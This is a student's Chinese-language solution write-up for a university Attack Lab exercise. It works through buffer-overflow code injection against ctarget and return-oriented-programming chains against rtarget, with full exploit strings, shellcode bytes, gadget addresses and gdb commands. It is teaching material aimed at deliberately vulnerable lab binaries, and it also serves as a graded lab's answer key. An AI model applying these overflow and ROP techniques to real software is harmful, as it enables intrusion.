Non puoi selezionare più di 25 argomenti Gli argomenti devono iniziare con una lettera o un numero, possono includere trattini ('-') e possono essere lunghi fino a 35 caratteri.

682 righe
18 KiB

10 mesi fa
10 mesi fa
10 mesi fa
10 mesi fa
10 mesi fa
10 mesi fa
  1. # Attack Lab
  2. 10225501432 邓博昊 target66
  3. ## ctarget
  4. 使用`gdb ctarget`调试程序
  5. 使用`disass <function>`获得`<function>`的汇编代码
  6. 使用`r -i {phase_i_raw}`带入`exploit string`运行程序
  7. ### Level 1
  8. `ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数
  9. 我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数
  10. <big>**1)查看`test`、`touch1`函数C代码**</big>
  11. 先贴出题干所给函数代码
  12. ```c
  13. void test()
  14. {
  15. int val;
  16. val = getbuf();
  17. printf("No exploit. Getbuf returned 0x%x\n", val);
  18. }
  19. void touch1() {
  20. vlevel = 1;
  21. printf("Touch!: You called touch1()\n");
  22. validate(1);
  23. exit(0);
  24. }
  25. ```
  26. <big>**2)查看`getbuf`、`touch1`函数汇编代码**</big>
  27. 获取`getbuf`、`touch1`函数汇编代码
  28. ```assembly
  29. Dump of assembler code for function getbuf:
  30. 0x0000555555401a65 <+0>: sub $0x18,%rsp
  31. 0x0000555555401a69 <+4>: mov %rsp,%rdi
  32. 0x0000555555401a6c <+7>: call 0x555555401d05 <Gets>
  33. 0x0000555555401a71 <+12>: mov $0x1,%eax
  34. 0x0000555555401a76 <+17>: add $0x18,%rsp
  35. 0x0000555555401a7a <+21>: ret
  36. End of assembler dump.
  37. ```
  38. ```assembly
  39. Dump of assembler code for function touch1:
  40. 0x0000555555401a7b <+0>: sub $0x8,%rsp
  41. 0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel>
  42. 0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7
  43. 0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt>
  44. 0x0000555555401a95 <+26>: mov $0x1,%edi
  45. 0x0000555555401a9a <+31>: call 0x555555401f75 <validate>
  46. 0x0000555555401a9f <+36>: mov $0x0,%edi
  47. 0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt>
  48. End of assembler dump.
  49. ```
  50. `getbuf`函数开辟了24个字节的栈空间
  51. <big>**3)构建攻击字符串**</big>
  52. 我们目前可以知道的:
  53. * 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数
  54. * 栈的生长方向向内存低位生长
  55. * `getbuf`函数ret地址为%rsp+0x18
  56. * `touch1`函数入口为`0x0000555555401a7b`
  57. 我们需要构建一个字符串,其需要满足的条件:
  58. * 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b`
  59. * 数字需要的字节数为`24+8 = 32`位
  60. * 符合小端法
  61. 字符串数据按输入顺序从低地址向高地址存储数据
  62. 无意义的字符均用0表示,我们需要构建的字符串即为
  63. ```
  64. 00 00 00 00 00 00 00 00
  65. 00 00 00 00 00 00 00 00
  66. 00 00 00 00 00 00 00 00
  67. 7b 1a 40 55 55 55 00 00
  68. ```
  69. 将上述字符串存入`phase_1.txt`
  70. <big>**4)将字符串转化为字节码并运行程序**</big>
  71. 输入以下命令即可完成`touch1`
  72. ```bash
  73. ./hex2raw < phase_1.txt > phase_1_raw.txt
  74. gdb ctarget
  75. r -i phase_1_raw.txt
  76. ```
  77. ### Level 2
  78. 任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数
  79. <big>**1)查看`touch2`函数C代码**</big>
  80. 题干所给`touch2`函数C代码如下
  81. ```c
  82. void touch2(unsigned val){
  83. vlevel = 2; /* Part of validation protocol */
  84. if (val == cookie){
  85. printf("Touch2!: You called touch2(0x%.8x)\n", val);
  86. validate(2);
  87. } else {
  88. printf("Misfire: You called touch2(0x%.8x)\n", val);
  89. fail(2);
  90. }
  91. exit(0);
  92. }
  93. ```
  94. `touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功
  95. <big>**2)查看`touch2`函数汇编代码**</big>
  96. `touch`函数汇编代码如下
  97. ```assembly
  98. Dump of assembler code for function touch2:
  99. 0x0000555555401aa9 <+0>: sub $0x8,%rsp
  100. 0x0000555555401aad <+4>: mov %edi,%edx
  101. 0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel>
  102. 0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie>
  103. 0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66>
  104. 0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448
  105. 0x0000555555401ac8 <+31>: mov $0x1,%edi
  106. 0x0000555555401acd <+36>: mov $0x0,%eax
  107. 0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt>
  108. 0x0000555555401ad7 <+46>: mov $0x2,%edi
  109. 0x0000555555401adc <+51>: call 0x555555402045 <fail>
  110. 0x0000555555401ae1 <+56>: mov $0x0,%edi
  111. 0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt>
  112. 0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420
  113. 0x0000555555401af2 <+73>: mov $0x1,%edi
  114. 0x0000555555401af7 <+78>: mov $0x0,%eax
  115. 0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt>
  116. 0x0000555555401b01 <+88>: mov $0x2,%edi
  117. 0x0000555555401b06 <+93>: call 0x555555401f75 <validate>
  118. 0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56>
  119. End of assembler dump.
  120. ```
  121. 则`touch2`函数入口地址为`0x0000555555401aa9`
  122. <big>**3)构建汇编代码**</big>
  123. 实验给出的建议:
  124. - 使用ret指令调用touch2函数
  125. - touch2的参数要存在rdi寄存器中
  126. - 插入的代码应该设置寄存器存着Cookie,然后再返回touch2
  127. - 不用jmp和call指令
  128. - 使用gcc和objdump生成要插入代码的字节码格式
  129. 我的`cookie = 0x3e8dee8f`
  130. 则我们需要构建的汇编代码应该为
  131. ```assembly
  132. movq $0x3e8dee8f,%rdi
  133. movq $0x0000555555401aa9,%rsi # 存储touch2入口地址
  134. push %rsi
  135. ret
  136. ```
  137. 将上述代码存储在`phase_2_assembly.s`
  138. <big>**4)获得机械码**</big>
  139. 使用如下命令生成并反编译获得机械码
  140. ```bash
  141. gcc -c phase_2_assembly.s -o phase_2_assembly.o
  142. objdump -d phase_2_assembly.o > phase_2_assembly.d
  143. ```
  144. 打开`phase_2_assembly.d`
  145. ```assembly
  146. Disassembly of section .text:
  147. 0000000000000000 <.text>:
  148. 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
  149. 7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi
  150. e: 55 00 00
  151. 11: 56 push %rsi
  152. 12: c3 ret
  153. ```
  154. 则这段程序机械码为
  155. ```
  156. 48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3
  157. ```
  158. <big>**5)构建攻击字符串**</big>
  159. 思路为:
  160. * `getbuff`函数获取攻击字符串
  161. * 字符串使得`getbuff`函数返回至`buff`数组起点
  162. * `buff`数组起点按顺序储存机械码
  163. * 程序按照储存的机械码执行我们设计好的汇编指令
  164. 因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容
  165. 由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65`
  166. 使用如下命令:
  167. ```bash
  168. gdb ctarget
  169. b *0x0000555555401a65
  170. r -qi phase_1_raw.txt
  171. stepi
  172. p &rsp
  173. ```
  174. 输出:
  175. ```bash
  176. $1 = (void *) 0x55621b58
  177. ```
  178. 故构建如下字符串
  179. ```
  180. 48 c7 c7 8f ee 8d 3e 48
  181. be a9 1a 40 55 55 55 00
  182. 00 56 c3 00 00 00 00 00
  183. 58 1b 62 55 00 00 00 00
  184. ```
  185. 将上述字符串储存在`phase_2.txt`中
  186. <big>**6)将字符串转化为字节码并运行程序**</big>
  187. 输入以下命令即可完成`touch2`
  188. ```bash
  189. ./hex2raw < phase_2.txt > phase_2_raw.txt
  190. gdb ctarget
  191. r -i phase_2_raw.txt
  192. ```
  193. ### Level 3
  194. 任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数
  195. 注意`touch3`函数内部调用了`hexmatch`函数
  196. <big>**1)查看`touch3`、`hexmatch`函数C代码**</big>
  197. ```C
  198. int hexmatch(unsigned val, char *sval){
  199. char cbuf[110];
  200. char *s = cbuf + random() % 100;
  201. sprintf(s, "%.8x", val);
  202. return strncmp(sval, s, 9) == 0;
  203. }
  204. void touch3(char *sval){
  205. vlevel = 3;
  206. if (hexmatch(cookie, sval)){
  207. printf("Touch3!: You called touch3(\"%s\")\n", sval);
  208. validate(3);
  209. } else {
  210. printf("Misfire: You called touch3(\"%s\")\n", sval);
  211. fail(3);
  212. }
  213. exit(0);
  214. }
  215. ```
  216. hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入
  217. <big>**2)查看`test`、`touch3`函数汇编代码**</big>
  218. ```assembly
  219. Dump of assembler code for function test:
  220. 0x0000555555401c32 <+0>: sub $0x8,%rsp
  221. 0x0000555555401c36 <+4>: mov $0x0,%eax
  222. 0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf>
  223. 0x0000555555401c40 <+14>: mov %eax,%edx
  224. 0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0
  225. 0x0000555555401c49 <+23>: mov $0x1,%edi
  226. 0x0000555555401c4e <+28>: mov $0x0,%eax
  227. 0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt>
  228. 0x0000555555401c58 <+38>: add $0x8,%rsp
  229. 0x0000555555401c5c <+42>: ret
  230. End of assembler dump.
  231. ```
  232. ```assembly
  233. Dump of assembler code for function touch3:
  234. 0x0000555555401bc0 <+0>: push %rbx
  235. 0x0000555555401bc1 <+1>: mov %rdi,%rbx
  236. 0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel>
  237. 0x0000555555401bce <+14>: mov %rdi,%rsi
  238. 0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie>
  239. 0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch>
  240. 0x0000555555401bdc <+28>: test %eax,%eax
  241. 0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77>
  242. 0x0000555555401be0 <+32>: mov %rbx,%rdx
  243. 0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470
  244. 0x0000555555401bea <+42>: mov $0x1,%edi
  245. 0x0000555555401bef <+47>: mov $0x0,%eax
  246. 0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt>
  247. 0x0000555555401bf9 <+57>: mov $0x3,%edi
  248. 0x0000555555401bfe <+62>: call 0x555555401f75 <validate>
  249. 0x0000555555401c03 <+67>: mov $0x0,%edi
  250. 0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt>
  251. 0x0000555555401c0d <+77>: mov %rbx,%rdx
  252. 0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498
  253. 0x0000555555401c17 <+87>: mov $0x1,%edi
  254. 0x0000555555401c1c <+92>: mov $0x0,%eax
  255. 0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt>
  256. 0x0000555555401c26 <+102>: mov $0x3,%edi
  257. 0x0000555555401c2b <+107>: call 0x555555402045 <fail>
  258. 0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67>
  259. End of assembler dump.
  260. ```
  261. 可以看出:
  262. * `test`函数入口为`0x0000555555401c32`
  263. * `touch3`函数入口为`0x0000555555401bc0`
  264. <big>**3)构建汇编代码**</big>
  265. 阅读题干所给提示:
  266. * 需要一个字符串表示`cookie`值,不需要表示开头`0x`
  267. * 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0
  268. * `man ascii` 可以用来查看每个字符的16进制表示
  269. * 需要在`%rdi`寄存器内储存字符串的地址
  270. * 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎
  271. 因此汇编代码设计思路为:
  272. * 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器
  273. * 压入含`touch3`入口地址的寄存器
  274. * ret返回
  275. 注意`cookie`值需要转化为16进制ASCII码表示后使用
  276. 根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为
  277. ```
  278. 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
  279. ```
  280. 我们还需要知道`test函数`栈帧地址
  281. 输入以下命令查看
  282. ```assembly
  283. gdb ctarget
  284. b *0x0000555555401c32 # test函数入口
  285. r -qi phase_1_raw.txt
  286. stepi
  287. p $rsp
  288. ```
  289. 结果显示
  290. ```bash
  291. $1 = (void *) 0x55621b78
  292. ```
  293. 因此我们需要构建的汇编代码为
  294. ```assembly
  295. movq $0x55621b78,%rdi
  296. movq $0x0000555555401bc0,%rdx
  297. push %rdx
  298. ret
  299. ```
  300. 将上述内容储存在`phase_3_assembly.s`
  301. <big>**4)获得机械码**</big>
  302. 输入以下命令获得机械码
  303. ```bash
  304. gcc -c phase_3_assembly.s -o phase_3_assembly.o
  305. objdump -d phase_3_assembly.o > phase_3_assembly.d
  306. ```
  307. 打开`phase_3_assembly.d`
  308. ```assembly
  309. Disassembly of section .text:
  310. 0000000000000000 <.text>:
  311. 0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi
  312. 7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx
  313. e: 55 00 00
  314. 11: 52 push %rdx
  315. 12: c3 ret
  316. ```
  317. 则机械码为
  318. ```
  319. 48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3
  320. ```
  321. <big>**5)构建攻击字符串**</big>
  322. 思路为:
  323. * `getbuff`函数获取攻击字符串
  324. * 字符串足够长,使得`cookie`的16进制值储存在test栈空间
  325. * 字符串使得`getbuff`函数返回至`buff`数组起点
  326. * `buff`数组起点按顺序储存机械码
  327. * 程序按照储存的机械码执行我们设计好的汇编指令
  328. `buff`数组起点的内存地址由Level 2可知为`0x55621b58`
  329. 故构建如下字符串
  330. ```
  331. 48 c7 c7 78 1b 62 55 48
  332. ba c0 1b 40 55 55 55 00
  333. 00 52 c3 00 00 00 00 00
  334. 58 1b 62 55 00 00 00 00
  335. 33 65 38 64 65 65 38 66
  336. 00
  337. ```
  338. 将上述字符串储存在`phase_3.txt`中
  339. <big>**6)将字符串转化为字节码并运行程序**</big>
  340. 输入以下命令即可完成`touch3`
  341. ```bash
  342. ./hex2raw < phase_3.txt > phase_3_raw.txt
  343. gdb ctarget
  344. r -i phase_3_raw.txt
  345. ```
  346. ## rtarget
  347. 题干所给信息翻译如下:
  348. > 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
  349. >
  350. > - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
  351. > - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
  352. >
  353. > 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
  354. 使用如下命令获得`farm.c`的反汇编
  355. ```
  356. gcc -c -Og farm.c
  357. objdump -d farm.o > farm.d
  358. ```
  359. ### Level 2
  360. 这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行
  361. <big>**1)选取gadgets**</big>
  362. 阅读题目提示:
  363. * 我们利用的gadget是从startfarm到midfarm之间的
  364. * 只需要两个gadget
  365. * 当使用popq指令时,你的exploit string中必须含有一个地址和data
  366. 因此我们需要的汇编指令为
  367. ```assembly
  368. popq %rax
  369. movq %rax,%rdi
  370. ```
  371. 对应的编码为
  372. ```
  373. popq %rax > 58
  374. movq %rax,%rdi > 48 89 c7
  375. ```
  376. `popq %rax`对应函数为
  377. ```assembly
  378. Dump of assembler code for function getval_373:
  379. 0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
  380. 0x0000555555401c75 <+5>: c3 ret
  381. End of assembler dump.
  382. ```
  383. 我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74`
  384. `movq %rax,%rdi`对应函数为
  385. ```assembly
  386. Dump of assembler code for function getval_424:
  387. 0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax
  388. 0x0000555555401c89 <+5>: c3 ret
  389. End of assembler dump.
  390. ```
  391. 我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85`
  392. 反汇编得`touch2`函数入口为`0x0000555555401aa9 `
  393. <big>**2)构建攻击字符串**</big>
  394. 需要使用的地址
  395. ```
  396. 0x0000555555401aa9 # touch2函数入口地址
  397. 0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
  398. 0x3e8dee8f # cookie
  399. 0x0000555555401c74 # 58 popq %rax
  400. ```
  401. 构建的`phase_4.txt`如下
  402. ```
  403. 00 00 00 00 00 00 00 00
  404. 00 00 00 00 00 00 00 00
  405. 00 00 00 00 00 00 00 00
  406. 74 1c 40 55 55 55 00 00
  407. 8f ee 8d 3e 00 00 00 00
  408. 85 1c 40 55 55 55 00 00
  409. a9 1a 40 55 55 55 00 00
  410. ```
  411. <big>**3)将字符串转化为字节码并运行程序**</big>
  412. 输入以下命令即可完成`touch2`
  413. ```bash
  414. ./hex2raw < phase_4.txt > phase_4_raw.txt
  415. gdb rtarget
  416. r -i phase_4_raw.txt
  417. ```
  418. ### Level 3
  419. 这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。
  420. <big>**1)选取gadgets**</big>
  421. 阅读题目提示:
  422. * 建议查看movl指令对4字节以上操作的影响
  423. * 官方解决方法用了8个gadgets
  424. 由`ctarget level 3`可知,`cookie`的ASCII字符串表示为
  425. ```
  426. 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
  427. ```
  428. 因为栈地址随机,因此需要找到基准地址,此处选取%rsp
  429. 具体操作:
  430. - 把%rsp里的栈指针地址放到%rdi
  431. - 拿到bias的值放到%rsi
  432. - 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
  433. - 调用touch3
  434. 因此我们需要的汇编指令为
  435. ```
  436. movq %rsp,%rax
  437. movq %rax,%rdi
  438. popq %rax
  439. movl %eax,%edx
  440. movl %edx,%ecx
  441. movl %ecx,%esi
  442. lea (%rdi,%rsi,1),%rax
  443. movq %rax,%rdi
  444. ```
  445. 对应的编码、函数、地址为
  446. ```
  447. movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
  448. movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
  449. popq %rax > 58 > getval_373 > 0x0000555555401c74
  450. movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
  451. movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
  452. movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5
  453. lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
  454. movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85
  455. ```
  456. <big>**2)构建攻击字符串**</big>
  457. 需要使用的地址
  458. ```
  459. 0x0000555555401cb3 # movq %rsp,%rax
  460. 0x0000555555401c8c # movq %rax,%rdi
  461. 0x0000555555401c74 # popq %rax
  462. 0x48 # bias = 9*8-->0x48
  463. 0x0000555555401ca5 # movl %eax,%edx
  464. 0x0000555555401cac # movl %edx,%ecx
  465. 0x0000555555401cd5 # movl %ecx,%esi
  466. 0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
  467. 0x0000555555401c85 # movq %rax,%rdi
  468. 0x0000555555401bc0 # touch3
  469. 0x3365386465653866 # hex cookie string
  470. ```
  471. 构建的攻击字符串为
  472. ```
  473. 00 00 00 00 00 00 00 00
  474. 00 00 00 00 00 00 00 00
  475. 00 00 00 00 00 00 00 00
  476. b3 1c 40 55 55 55 00 00
  477. 8c 1c 40 55 55 55 00 00
  478. 74 1c 40 55 55 55 00 00
  479. 48 00 00 00 00 00 00 00
  480. a5 1c 40 55 55 55 00 00
  481. ac 1c 40 55 55 55 00 00
  482. d5 1c 40 55 55 55 00 00
  483. 9e 1c 40 55 55 55 00 00
  484. 85 1c 40 55 55 55 00 00
  485. c0 1b 40 55 55 55 00 00
  486. 33 65 38 64 65 65 38 66
  487. ```
  488. 保存为`phase_5.txt`
  489. <big>**3)将字符串转化为字节码并运行程序**</big>
  490. 输入以下命令即可完成`touch23
  491. ```bash
  492. ./hex2raw < phase_5.txt > phase_5_raw.txt
  493. gdb rtarget
  494. r -i phase_5_raw.txt
  495. ```